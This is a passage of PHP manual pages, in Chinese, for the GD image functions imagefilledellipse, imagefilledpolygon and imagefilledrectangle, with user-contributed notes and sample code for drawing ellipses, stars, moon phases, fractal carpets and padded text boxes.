function imagegradientellipse($image, $cx, $cy, $w, $h, $ic, $oc){
    $w = abs($w);
    $h = abs($h);
    $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
    $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
    $c0 = ($oc[0] - $ic[0]) / $w;
    $c1 = ($oc[1] - $ic[1]) / $w;
    $c2 = ($oc[2] - $ic[2]) / $w;
    $i = 0;
    $j = 0;
    $is = ($w<$h)?($w/$h):1;
    $js = ($h<$w)?($h/$w):1;
    while(1){
        $r = $oc[0] - floor($i * $c0);
        $g = $oc[1] - floor($i * $c1);
        $b = $oc[2] - floor($i * $c2);
        $c = imagecolorallocate($image, $r, $g, $b);
        imagefilledellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
        if($i < $w){
            $i += $is;
        }
        if($j < $h){
            $j += $js;
        }
        if($i >= $w && $j >= $h){
            break;
        }
    }
}

?>
jbr at ya-right dot com 22-Feb-2006 07:33
This is a niffty function that you can use to make transparent ellipse/round type cutouts of any PNG or GIF image. The hard part is finding what color to use for the cutout layer and then the transparent layer, because you don't want to set the transparent index to a color being used in the image. After that it's as simple as layering the two images together.

what you need for the example...

a image of the size you want the cutout to be, gif or png (true color /256) can be used!

<?

$original_image = './image.png';
$output_image = './new.png';
$temp_image = './temp'; // path and name (don't include the extension)
$is_true_color = true;

$ext = substr ( $original_image, strrpos ( $original_image, '.' ) );
$temp_image .= $ext;
$new = image_get ( $ext, $original_image );
$width = imagesx ( $new );
$height = imagesy ( $new );

// we need to create temp reduced image so we can get the colors
// in a high bit true color image (png 16,24 bit only)

if ( $is_true_color )
{
    imagetruecolortopalette ( $new, false, 256 );
    image_make ( $new, $ext, $temp_image );
    imagedestroy ( $new );
    $colors = get_rgb ( $temp_image, $ext );
    @unlink ( $temp_image );
    $new = image_get ( $ext, $original_image );
}
else
{
    $colors = get_rgb ( $original_image, $ext );
}

// this creates the cutout layer (2 colors, both will become transparent)

$old = imagecreate ( $width, $height );
imageantialias( $old, true );
imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
$bg = imagecolorallocate ( $old, $colors[1]['red'], $colors[1]['green'], $colors[1]['blue'] );
imagefilledellipse ( $old, floor ( $width / 2 ), floor ( $height / 2 ), $width, $height, $bg );
imagecolortransparent ( $old, $bg );
imagecopy ( $new, $old, 0, 0, 0, 0, $width, $height );
image_make ( $new, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

// this layers both images together, making a nice ellipse/round transparent image cutout

$old = imagecreate ( $width, $height );
$new = image_get ( $ext, $output_image );
$tbg = imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
imagecopy ( $old, $new, 0, 0, 0, 0, $width, $height );
imagecolortransparent ( $old, $tbg );
image_make ( $old, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

/*
* shortcut functions (1,2)
*/

// returns the called image resource

function image_get ( $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        return ( imagecreatefromgif ( $name ) );
        break;
        case '.png' :
        return ( imagecreatefrompng ( $name ) );
        break;
    }
}

// outputs the image named passed to it

function image_make ( $io, $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        imagegif ( $io, $name );
        break;
        case '.png' :
        imagepng ( $io, $name );
        break;
    }
}

// get (2) colors not found in the current image

function get_rgb ( $image, $ext )
{
    $x = 0;
    $colors = array ();
    $img = image_get ( $ext, $image );

    for ( $color = 10; $color <= 250; $color++ )
    {
        if ( imagecolorexact ( $img, $color, $color, $color ) == -1 )
        {
            $colors[] = array ( 'red' => $color, 'green' => $color, 'blue' => $color );

            if ( $x == 1 )
            {
                imagedestroy ( $img );
                return ( $colors );
            }

            $x++;
        }
    }

    imagedestory ( $img );
    return ( $colors );
}

?>

You can try a demo here (SGML) capture a web page, then make multi cutouts example!

http://www.ya-right.com/
mark at freegeekchicago dot org 11-Oct-2005 10:12
Here is a simple script using imagefilledellipse to created rounded corners on the fly.  It takes color, bg_color, width, height, and placement (i.e. top left, bottom right) as arguments.

<?php
$color = $_REQUEST['color'];
$bg_color = $_REQUEST['bg_color'];

$c_width = $_REQUEST['width'];
$c_height = $_REQUEST['height'];

$placement = $_REQUEST['placement'];

$width = 2 * $c_width;
$height = 2 * $c_height;

// create a blank image
$image = imagecreatetruecolor($c_width, $c_height);

// fill the corner color
$col_ellipse = hex2int($image, $color);

// fill the background color

$bg = hex2int($image, $bg_color);

// fill the background color
imagefill($image, 0, 0, $bg);

// draw the ellipse
//takes (resource image, int cx, int cy, int w, int h, int color)

// bottom right corner
if ($placement == "br") {imagefilledellipse($image, 0, 0, $width, $height, $col_ellipse);}

// top right corner
if ($placement == "tl") {imagefilledellipse($image, $c_width, $c_height, $width, $height, $col_ellipse);}

// top left corner
if ($placement == "tr") {imagefilledellipse($image, 0, $c_height, $width, $height, $col_ellipse);}

// bottom left corner
if ($placement == "bl") {imagefilledellipse($image, $c_width, 0, $width, $height, $col_ellipse);}

// output the picture
header("Content-type: image/png");
imagepng($image);

function hex2int($image, $color) {
  $string = str_replace("#","",$color);
  $red = hexdec(substr($string,0,2));
  $green = hexdec(substr($string,2,2));
  $blue = hexdec(substr($string,4,2));

  $color_int = imagecolorallocate($image, $red, $green, $blue);
  return($color_int);
}
?>

You would call it like so:
<img src="round_test.php?
width=50&height=50&color=fffefe&bg_color=99e1e0&placement=tr">
richard at mf2fm dot co dot uk 09-Feb-2005 02:25
Here is a piece of code using imagefilledellipse which creates a simulation of the current phase of the moon...

Usage is <img src="moon.php?size=100"> which produces an image 100px by 100px wide.  If size is left out, the default is 24px by 24px.

<?php

$mps=2551442.8; // moon phase in seconds (29 days, 12 hours, 44 mins, 2.8 secs)
$position=time()-mktime(10, 32, 0, 1, 25, 2005); // seconds since full moon at 10:32GMT on 25 Jan 2005
$position=($position-$mps*intval($position/$mps))/$mps; // phase from 0 to 1

$position=2*(0.5-$position);
## revised to produce easier to work with...
## $position=1 - full moon
## $position=0 - new moon
## $position=-1 - full moon

$size=$_GET['size'];
if (!is_numeric($size)) $size=24; // width/height in pixels
$moon=imagecreate($size, $size);
$dark=imagecolorallocate($moon, 0, 34, 68); // background colour for moon
$light=imagecolorallocate($moon, 238, 238, 255); // foreground colour for moon
$corona=imagecolorallocatealpha($moon, 153, 153, 153, 64); // edge of moon (semi-transparent)

##
## Make transparent background
##
$background=imagecolorallocatealpha($moon, 0, 0, 0, 127);
imagefill($moon, 0, 0, $background);

##
## Make the moon!
##
imagefilledellipse($moon, round($size/2), round($size/2), $size, $size, $corona);
if ($position>-1/$size AND $position<1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark); // new moon
elseif (abs($position)>1-1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light); // full moon
elseif ($position>0) {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position-0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $dark);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$dark) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$light) imagesetpixel($moon, $j, $i, $dark);
        }
    }
}
else {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position+0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $light);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$light) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$dark) imagesetpixel($moon, $j, $i, $light);
        }
    }
}

##
## And output the picture
##
header ("Content-Type: image/png");
imagepng($moon);
imagedestroy($moon);
?>
dave at corecommunications dot us 10-Oct-2002 06:56
I needed to draw translucent circles on an existing image, using imagealphablending($image,true);. Turns out that imagefilledellipse seems to do the ellipse by drawing a series of lines from the centroid out to the circumference. Problem with this is that pixels near the center very visibly get drawn multiple times, producing a kind of moire effect. Also, the 0-degree (center to right) line is drawn twice and so is twice as dark the pixel below it.

My workaround was to draw the ellipse solid in a copy of the source image and do an imagecopymerge back into the original.
ivank at 2xtreme dot net 30-Mar-2002 04:31
Sometimes, you have x1, y1, x2, y2 parameters, but not the center, width, and height. Use this to draw a filled ellipse from your x1, y1, x2, and y2:

ImageFilledEllipse(
$im,
($x1 + round(($x2 - $x1) / 2)),
($y1 + round(($y2 - $y1) / 2)),
($x2 - $x1),
($y2 - $y1),
$color);
harry dot wood at ic dot ac dot uk 19-Jun-2001 04:09
This draws a rotated ellipse. If you don't want filled ellipses, then you don't need the triangle function.

function triangle($x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   global $im;
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

function rotatedellipse($cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   global $im;
   $step=15;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x = ($ox * $cosangle) - ($oy * $sinangle);
      $y = ($ox * $sinangle) + ($oy * $cosangle);

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}


绘制多边形并填充

  • ? imagefilledellipse
  • imagefilledrectangle ?
  • PHP Manual
  • GD 和图像处理 函数
  • 绘制多边形并填充

imagefilledpolygon

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilledpolygon — 绘制多边形并填充

说明

自 PHP 8.0.0 起的签名（不支持命名参数）

imagefilledpolygon(GdImage $image, array $points, int $color): bool

替代签名（从 PHP 8.1.0 起弃用）

imagefilledpolygon(
GdImage $image,
array $points,
int $num_points,
int $color
): bool

imagefilledpolygon() 在指定 image 中创建多边形并填充。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

points

包含连续多边形顶点的 x 和 y 坐标的数组。

num_points

点（顶点）的总数，必须最少为 3。

如果根据第二个签名省略此参数，则 points 必须具有偶数个元素，并且假定 num_points 为 count($points)/2。
color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 弃用参数 num_points。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagefilledpolygon() 示例

<?php
// 为多边形设置点数组
$values = array(
40, 50, // Point 1 (x, y)
20, 240, // Point 2 (x, y)
60, 60, // Point 3 (x, y)
240, 20, // Point 4 (x, y)
50, 40, // Point 5 (x, y)
10, 10 // Point 6 (x, y)
);

// 创建图像
$image = imagecreatetruecolor(250, 250);

// 分配颜色
$bg = imagecolorallocate($image, 0, 0, 0);
$blue = imagecolorallocate($image, 0, 0, 255);

// 填充背景
imagefilledrectangle($image, 0, 0, 249, 249, $bg);

// 绘制多边形
imagefilledpolygon($image, $values, 6, $blue);

// 输出图像
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

以上示例的输出类似于：

参见

  • imagepolygon() - 绘制多边形

User Contributed Notes

martin at eksperimentrum dot dk 26-Apr-2018 03:06
How to draw a simple 6-sided star img where x,y is center of the star and s is the size:

function drawStar($img, $x, $y, $s, $color) {
    $x=$x-$s/2;
    $y=$y-$s/4;
    $points=array($x,$y, $x+$s/2,$y+$s, $x+$s,$y);
    imagefilledpolygon($img, $points, 3, $color);
    $points=array($x,2/3*$s+$y, $x+$s/2,$y-$s/3, $x+$s,2/3*$s+$y);
    imagefilledpolygon($img, $points, 3, $color);
}
Steween 29-Jul-2017 09:51
My version of drawStar (with examples)

<?php
header ("Content-type: image/png");

/* drawStar or regular polygon
    $x, $y  -> Position in the image
    $radius -> Radius of the star
    $spikes -> Number of spikes (min 2)
    $ratio  -> Ratio between outer and inner points
    $dir    -> Rotation 270° for having an up spike( with ratio<1)
*/
function drawStar($x, $y, $radius, $spikes=5, $ratio=0.5, $dir=270) {
    $coordinates = array();
    $angle = 360 / $spikes ;
    for($i=0; $i<$spikes; $i++){
        $coordinates[] = $x + (       $radius * cos(deg2rad($dir+$angle*$i)));
        $coordinates[] = $y + (       $radius * sin(deg2rad($dir+$angle*$i)));
        $coordinates[] = $x + ($ratio*$radius * cos(deg2rad($dir+$angle*$i + $angle/2)));
        $coordinates[] = $y + ($ratio*$radius * sin(deg2rad($dir+$angle*$i + $angle/2)));
    }
    return $coordinates ;
}

// 14*20+24*2 = 328 Examples
$im = imagecreate(800,600);
     imagecolorallocate($im,   0,   0,   0);
$w = imagecolorallocate($im, 255, 255, 255);
$r = imagecolorallocate($im, 255,   0,   0);
for ($spikes=2; $spikes<16; $spikes++) { //[2-15]
    for ($ratio=1; $ratio<21; $ratio++) { //[0.1-2.0]
        $values = drawStar(40*$ratio-20, $spikes*40-60, 10, $spikes, $ratio/10);
        imagefilledpolygon($im, $values, count($values)/2, ($ratio % 5 == 0) ? $r : $w);
    }
}
for ($dir=0; $dir<24; $dir++) {
    $values = drawStar(30*$dir+20, 580, 10, 2, 1.5, $dir*15);
    imagefilledpolygon($im, $values, count($values)/2, $w);
    $values = drawStar(30*$dir+20, 580, 10, 2, 0.2, $dir*15);
    imagefilledpolygon($im, $values, count($values)/2, $r);
}
imagepng($im);
imagedestroy($im);
?>
rbenheidorn at gmail dot com 01-Feb-2015 09:20
Discovered while working on printing geographical boundaries to an image: if you provide floating point vertices, then the decimal value is automatically truncated. This can cause images drawn with floating point vertices to shift slightly towards the top-left corner. My personal resolution is to round all of the vertices to their nearest whole values, which eliminates this shift.
austinoblouk at yahoo dot com 05-Sep-2009 08:28
Actually the minimum it allows is 3. It says "Total number of vertices, which must be bigger than 3." but it allows 3...
Arnapou 29-Oct-2007 06:49
I discovered that the GD imagefilledpolygon function is incorrect for some drawing with transparent color (for example red 50% : RGBA = 255, 0, 0, 64).

I tried to draw a complex form with lots of points really near (1 pixel of distance) and a transparent red.

The problem was : some border pixels were not drawn by the imagefilledpolygon but were drawn with imagepolygon !?!?

So I wrote my own imagefilledpolygon function which work very well in all case I tested.

<?php
// $points should be an array of coordinates like that :
$points = array(
    array(0, 0),
    array(100, 50),
    array(90, 100),
    array(50, 50),
    array(70, 30),
    array(10, 10),
);
?>

<?php
function myimagefilledpolygon(& $img, $points, $color) {
    $scanline = 99999;
    // compute edges
    $all_edges = array();
    $n = count($points);
    for($i=0; $i<$n; $i++) {
        $p1 = $points[$i];
        if ($i == $n-1) { $p2 = $points[0]; } else { $p2 = $points[$i+1]; }
        $x1 = $p1[0]; $y1 = $p1[1];
        $x2 = $p2[0]; $y2 = $p2[1];
        if ($y1 != $y2) {
            $invslope = ($x2 - $x1)/($y2 - $y1);
            if ($y1 < $y2 ) {
                $ymin = $y1;
                $xval = $x1;
                $ymax = $y2;
            } else {
                $ymin = $y2;
                $xval = $x2;
                $ymax = $y1;
            }
            $all_edges[] = array($ymin, $ymax, $xval, $invslope);
            if ($ymin < $scanline) { $scanline = $ymin; }
        } else {
            if ($y1 < $scanline) { $scanline = $y1; }
            if ($y2 < $scanline) { $scanline = $y2; }
        }
    }
    // draw
    $active = array();
    do {
        // add edges to active array
        $tmp = array();
        $n = count($all_edges);
        for($i=0; $i<$n; $i++) {
            if ($all_edges[$i][0] == $scanline) {
                $active[] = $all_edges[$i];
            } else {
                $tmp[] = $all_edges[$i];
            }
        }
        $all_edges = $tmp;
        // remove previous edges from active array
        $tmp = array();
        $n = count($active);
        for($i=0; $i<$n; $i++) {
            if ($active[$i][1] > $scanline) {
                $tmp[] = $active[$i];
            }
        }
        $active = $tmp;
        // sort active tab
        $n = count($active);
        for($i=0; $i<$n-1; $i++) {
            $min = $i;
            for($k=$i+1; $k<$n; $k++) {
                if ($active[$k][2] < $active[$min][2]) { $min = $k; }
            }
            if ($i != $min) {
                $tmp = $active[$i];
                $active[$i] = $active[$min];
                $active[$min] = $tmp;
            }
        }
        // draw
        $n = count($active);
        for($i=0; $i<$n; $i+=2) {
            if ($i+1 < $n) {
                if ($tmp[$i][2] == $active[$i+1][2]) {
                    imagesetpixel($img, round($active[$i][2]), $scanline, $color);
                } else {
                    imageline($img, round($active[$i][2]), $scanline, round($active[$i+1][2]), $scanline, $color);
                }
            }
        }
        // increment x values
        $n = count($active);
        for($i=0; $i<$n; $i++) { $active[$i][2] += $active[$i][3]; }
        $scanline++;
    } while (count($all_edges) + count($active) > 0);
}
?>
webmaster at mywebsolution dot de 22-Oct-2007 02:24
Just thought that 'tatlar at yahoo dot com's function has some redundant code in it, so I tried to "improve" it. Now you can choose a variable number of spikes.

<?php
error_reporting(E_ALL);
function drawStar($x, $y, $radius, $spikes=5) {
    // $x, $y -> Position in the image
    // $radius -> Radius of the star
    // $spikes -> Number of spikes

    $coordinates = array();
    $angel = 360 / $spikes ;

    // Get the coordinates of the outer shape of the star
    $outer_shape = array();
    for($i=0; $i<$spikes; $i++){
        $outer_shape[$i]['x'] = $x + ($radius * cos(deg2rad(270 - $angel*$i)));
        $outer_shape[$i]['y'] = $y + ($radius * sin(deg2rad(270 - $angel*$i)));
    }

    // Get the coordinates of the inner shape of the star
    $inner_shape = array();
    for($i=0; $i<$spikes; $i++){
        $inner_shape[$i]['x'] = $x + (0.5*$radius * cos(deg2rad(270-180 - $angel*$i)));
        $inner_shape[$i]['y'] = $y + (0.5*$radius * sin(deg2rad(270-180 - $angel*$i)));
    }

    // Bring the coordinates in the right order
    foreach($inner_shape as $key => $value){
        if($key == (floor($spikes/2)+1))
             break;
        $inner_shape[] = $value;
        unset($inner_shape[$key]);
    }

    // Reset the keys
    $i=0;
    foreach($inner_shape as $value){
        $inner_shape[$i] = $value;
        $i++;
    }

    // "Merge" outer and inner shape
    foreach($outer_shape as $key => $value){
         $coordinates[] = $outer_shape[$key]['x'];
         $coordinates[] = $outer_shape[$key]['y'];
         $coordinates[] = $inner_shape[$key]['x'];
         $coordinates[] = $inner_shape[$key]['y'];
    }

    // Return the coordinates
    return $coordinates ;
}

// Example
$spikes = 5;

$values = drawStar(250, 250, 200, $spikes);
$im = imagecreate(500,500);
imagecolorallocate($im,0,0,0);
$w = imagecolorallocate($im, 255, 255, 255);
imagefilledpolygon($im, $values, $spikes*2, $w);
imageGIF($im);
imagedestroy($im);
?>
jylyn at hotmail dot com 16-Oct-2006 05:11
In spite of what it says about requiring more than 3 vertices, it is possible to draw a triangle with this function!
tatlar at yahoo dot com 11-Sep-2006 05:08
<?php function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    // $x, $y co-ords of origin (in pixels), $radius (in pixels), $shape - 'polygon' or 'star', $spikiness - ratio between 0 and 1
    $point = array() ;
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
// Put values into imagepolygon function. You need to define the $image and $color, and flush it out to an image type.?>
etnekor at tar dot hu 22-Jan-2006 01:18
There is a simple function to draw a filled point with a chosen radius and color.

<?php
function drawPoint($img, $radius, $origo_x, $origo_y, $pointColor)
{
  for ($i=0;$i<=360;$i++)
  {
    $pont[] = $origo_x + ($radius * sin(deg2rad($i)));
    $pont[] = $origo_y - ($radius * cos(deg2rad($i)));
  }
  reset($pont);
  ImageFilledPolygon ($img, $pont, (sizeof($pont)/2), $pointColor);
}
?>


绘制矩形并填充

  • ? imagefilledpolygon
  • imagefilltoborder ?
  • PHP Manual
  • GD 和图像处理 函数
  • 绘制矩形并填充

imagefilledrectangle

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilledrectangle — 绘制矩形并填充

说明

imagefilledrectangle(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2,
int $color
): bool

在指定 image 中创建一个从点 1 开始到点 2 结束的的矩形并填充 color。0, 0 是图像的左上角。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x1

点 1 的 x 坐标。

y1

点 1 的 y 坐标。

x2

点 2 的 x 坐标。

y2

点 2 的 y 坐标。

color

填充颜色。颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagefilledrectangle() 用法

<?php
// Create a 55x30 image
$im = imagecreatetruecolor(55, 30);
$white = imagecolorallocate($im, 255, 255, 255);

// Draw a white rectangle
imagefilledrectangle($im, 4, 4, 50, 25, $white);

// Save the image
imagepng($im, './imagefilledrectangle.png');
imagedestroy($im);
?>

以上示例的输出类似于：

User Contributed Notes

Darren Edale 03-Oct-2013 09:58
The issue with filling using a rectangle is caused in your code by having alpha blending turned on before rendering the filled rectangle. Alpha blending causes what you draw on the image to be blended with whatever is already on the image according to the alpha channels of each. Therefore, because blending is on, and because the rectangle's fill colour is completely transparent, the blending of the existing image content with the transparent rectangle results in no change to the existing image.

With blending off, when drawing to the image what you draw completely replaces what is already there. So, drawing the rectangle in this case results in the original content of the image being completely replaced with a transparent rectangle.

So in order to use imagefilledrectangle() to erase an image to transparency, you need to turn off alpha blending first.

I guess the reason imagefill() works with alpha blending on is because it does not perform any alpha blending - it always works without alpha blending regardless of the setting. I suspect there are reasons for this to do with alpha channels complicating edge detection.

I would recommend using imagefilledrectangle() to create a blank transparent image resource instead of imagefill() because it is undoubtedly much faster in probably all cases.

Here is some example code to blank an image to transparent, assuming $im is a successfully created image:

<?php
$transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagealphablending($im, false);
imagefilledrectangle($im, 0, 0, imagesx($im) - 1, $imagesy($im) - 1, $transparent);
imagecolordeallocate($transparent);
imagealphablending($im, true);
?>
olivier dot pons at google dot mail dot com 21-Aug-2012 09:48
I wanted to clear an image, and set it to full transparent.
imagefilledrectangle() seems to ignore alpha channel and alpha blending.
Use imagefill() instead:

<?php
$w = imagesx($final);
$h = imagesy($final);
$grande = imagecreatetruecolor($w, $h);

// Alpha blending on to use channel alpha
imagealphablending($grande, true);
// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead
// of being transparent.
$transparent = imagecolorallocatealpha($grande, 0, 0, 0, 127);
// transparent alpha will be _ignored_:
imagefilledrectangle($grande, 0, 0, $w, $h, $transparent);
// ok, transparent will be used and set whole alpha channel to transparent:
imagefill($grande, 0, 0, $transparent);
?>
Tobi 25-Sep-2010 02:48
It looks like there are waves beetween the points, but it's straight.

<?php
$maxwert = 300;
$size = 10;
$img = imagecreatetruecolor($maxwert, $maxwert);
imagecolorallocate($img, 0, 0, 0);

   for($y=0;$y<$maxwert;$y += $size){
     for($x=0;$x<$maxwert;$x+=$size){
      $r = rand(0,255);
      $g = rand(0,255);
      $b = rand(0,255);
      $color = imagecolorallocate($img, $r, $g, $b);

      imagefilledrectangle ($img, $x, $y, $x+$size ,$y+$size, $color);

     }
   }
header("Content-type: image/png");
imagepng($img);
?>
Mice32 19-Mar-2010 04:57
That script draws Serpinski's carpet:

<?php
    set_time_limit(5);

    $i = 4;        // Iterations
    $xy = 500;    // Picture size

    $img = imagecreatetruecolor($xy, $xy);

    $white = imagecolorallocate($img, 255, 255, 255);

    drawCarpet(0, 0, $xy, $xy, $i);
    function drawCarpet($a, $b, $c, $d, $n) {
        global $img, $white;

        if($n <= 0) return;

        $a1 = 2 * $a / 3 + $c / 3;
        $c1 = $a / 3 + 2 * $c / 3;
        $b1 = 2 * $b / 3 + $d / 3;
        $d1 = $b / 3 + 2 * $d / 3;

        imagefilledrectangle($img, $a1, $b1, $c1, $d1, $white);

        drawCarpet($a, $b, $a1, $b1, $n - 1);
        drawCarpet($a1, $b, $c1, $b1, $n - 1);
        drawCarpet($c1, $b, $c, $b1, $n - 1);

        drawCarpet($c1, $b, $c, $b1, $n - 1);
        drawCarpet($a, $b1, $a1, $d1, $n - 1);
        drawCarpet($c1, $b1, $c, $d1, $n - 1);

        drawCarpet($a, $d1, $a1, $d, $n - 1);
        drawCarpet($a1, $d1, $c1, $d, $n - 1);
        drawCarpet($c1, $d1, $c, $d, $n - 1);
    }

    header('Content-Type: image/png');
    imagepng($img);
?>
mike at delenk dot net 07-May-2008 12:55
The examples in function imagettfbbox() gave me many problems because of misunderstand of how the text is positionned in the box.

So I did a new example:
- writing a text
- in the correct position in its box
- with a padding around

Enjoy !
Mike

<?

// some settings
    $angle = 0;
    $text = 'ühg 0123456789';
    $font_face = dirname(__FILE__).'/verdana.ttf'; // put the file in the same directory
    $font_size = 9; //(int) pixels in GD 1, or points in GD 2

// retrieves box frame
    $box = imagettfbbox($font_size, 0, $font_face, $text);
    $bottom_left_x = $box[0]; // used below
    $bottom_left_y = $box[1]; // used below
    $bottom_right_x = $box[2]; // used below
    $bottom_right_y = $box[3];
    $top_right_x = $box[4];
    $top_right_y = $box[5];
    $top_left_x = $box[6];
    $top_left_y = $box[7]; // used below

// define width and height of the text box
    $box_w = abs($bottom_left_x) + abs($bottom_right_x);
    $box_h = abs($bottom_left_y) + abs($top_left_y);

// add padding
    $padding_x = 5;
    $padding_y = 5;
    $box_w = $box_w + 2 * $padding_x;
    $box_h = $box_h + 2 * $padding_y;

// origin of the text = baseline of the first char
    $text_x = abs($bottom_left_x) -1 + $padding_x;
    $text_y = $box_h -1 - abs($bottom_left_y) - $padding_y;

// mysterious correction for the characters going low like pgjq
    if(abs($bottom_left_y) <= 1) $box_h--;

// create the image
    $img = imagecreatetruecolor($box_w, $box_h);

// define some colors
    $white = imagecolorallocate($img,255,255,255);
    $black = imagecolorallocate($img,0,0,0);
    $lightgrey = imagecolorallocate($img, 200, 200, 200);
    $grey = imagecolorallocate($img,100,100,100);
    $yellow = imagecolorallocate($img, 0xFF, 0xFF, 0x00);

// attribute colors
    $font_color =  $black;
    $padding_color =  $lightgrey;
    $background_color =  $yellow;

// fill image with background color
    imagefill($img, 0, 0, $background_color);

// fill image with padding color
    imagefilledrectangle($img, 0, 0, $box_w, $padding_y - 1, $padding_color); // top
    imagefilledrectangle($img, 0, 0, $padding_x - 1, $box_h - 1, $padding_color); // left
    imagefilledrectangle($img, 0, $box_h - $padding_y -1, $box_w, $box_h - 1, $padding_color); // bottom
    imagefilledrectangle($img, $box_w - $padding_x, 0, $box_w - 1, $box_h - 1, $padding_color); // right

//write text
imagettftext($img, $font_size, 0, $text_x, $text_y, $font_color, $font_face, $text);

//rotate image
    if ($angle > 0) $img = imagerotate($img, $angle, $white);

// send header
    header("Content-type: image/gif");

//sends image
    imagegif($img);
    imagedestroy($img);
?>
Google 15-Dec-2006 01:35
<?php
